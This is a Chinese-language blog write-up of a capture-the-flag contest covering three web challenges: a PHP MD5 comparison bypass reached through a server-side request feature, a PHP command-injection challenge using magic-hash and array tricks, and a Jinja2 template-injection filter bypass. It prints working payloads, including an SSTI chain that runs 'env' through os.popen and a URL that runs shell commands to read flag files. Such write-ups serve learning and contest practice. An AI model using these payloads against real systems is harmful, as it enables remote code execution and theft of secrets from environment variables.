这个比赛不太巧,属于稍微有点抽象...全靠MISC大佬带,另外,MISC分值好重啊!!!!!!WEB打着好费力!最后是靠着随风和nuli两位师傅一起上了第二名,虽然有点遗憾没有拿到第一名,因为第二天有国赛,其实也就比较满意这个结果了。

I_am_eeeeeshili

目录扫描出check.php,进入后显示需要文件,构造?file=xxx.php查看

需要post一个file,查看逻辑有黑名单,后面应该是过滤某些操作,限制我们读取/flag

到前端页面抓包后,绕过检查,查看到源码


if (str_replace("\", "/", __FILE__)== $_SERVER["SCRIPT_FILENAME"]) {
   header("HTTP/1.0 403 Forbidden");
   die("前面的区域以后再探索吧!");
}
.........
$client_ip = $_SERVER["REMOTE_ADDR"];
$server_ip = $_SERVER["SERVER_ADDR"];
if ($client_ip === $server_ip) {
   if(md5($_GET["a"]) === md5($_GET["b"])){
       if ($_GET["c"] != $_GET["d"] && md5($_GET["c"]) == md5($_GET["d"])){
           if(substr(md5($_GET["e"]), 0, 5) === "9331c"){
               $file = fopen("./ffflllaaaggg.php", "w");
               fwrite($file, "<?php \n echo $flag".";");
               fclose($file);
           }
       }
   }
} else {
   $code = '';
   highlight_string($code);
   echo '<script>alert("错啦错啦错啦!");</script>';
   header('Location: login.html');
   die();
}
   

观察到此题的逻辑,首先会注册请求ip和服务器ip为变量,并且进行比较,

还需要设置了几个get变量,abcde,a和b进行md5强比较,c和d进行md5弱比较,最后要求e的md5值的前五位md5值为9331c

用脚本爆破找到e的值:1916798

import hashlib


target_chars = "9331c"
def md5_brite():
   num = 0
   while True:
       num_str = str(num)
       md5_hash = hashlib.md5(num_str.encode()).hexdigest()

       if md5_hash[:5] == target_chars:
           print(f"找到匹配数字{num_str}")
           break
       num += 1

if __name__ == "__main__":
   md5_brite()

payload

check_http://127.0.0.1/flag.php?a[]=1&b[]=2&c=QNKCDZO&d=240610708&e=1916798

绕过了n次了 发现并没有什么用,,,,,想起来前面的登陆页面有一个check功能,试试check本地能不能通,发现ok,尝试在这里进行前面的绕过,发现前面发包后,有两个附着的包,setsession.php和stream.php,随后在setsession这里发现了前面的请求,后边会带有返回的报文!!!!!!!巨大发现,由于上面的逻辑是打开ffflllaaaggg.php并写入到/flag里面,感觉可以直接在这里读取一下试一试。

后面师傅直接给了flag

ezphp

观察到源码主要过滤了部分查看文件的函数,没想到能直接ls /

前边的弱比较和强比较简单绕过,强比较没有转化为字符串,直接用md5无法加密数组的机制绕过。

http://ctf.mardle.cn:34014/?usn=QNKCDZO&usn1[]=1&sign=od -t c /var/www/html/flag.sh
pwd=240610708&pwd1[]=2

后边直接使用od -t c /var/www/html/flag,发现查看到了假的flag,旁边有一个flag.sh打开后观察逻辑为执行该脚本后才会将假的flag替换为真实的环境变量flag,

#!/bin/sh
seed -i "s/flag{testflag}/$GZCTF_FLAG/"
/flag
export GZCTF_FLAG=""

直接打印环境变量,printenv 即可看到

comment me

题目过滤了双大括号和.

构造payload使用attr绕过. 字符即可

{%print lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("env")|attr("read")()%}

尝试读取flag,后边发现并没有读取到,选择直接读取环境变量看看有没有flag,结果成功查看到flag

此作者没有提供个人介绍
最后更新于 2024-12-17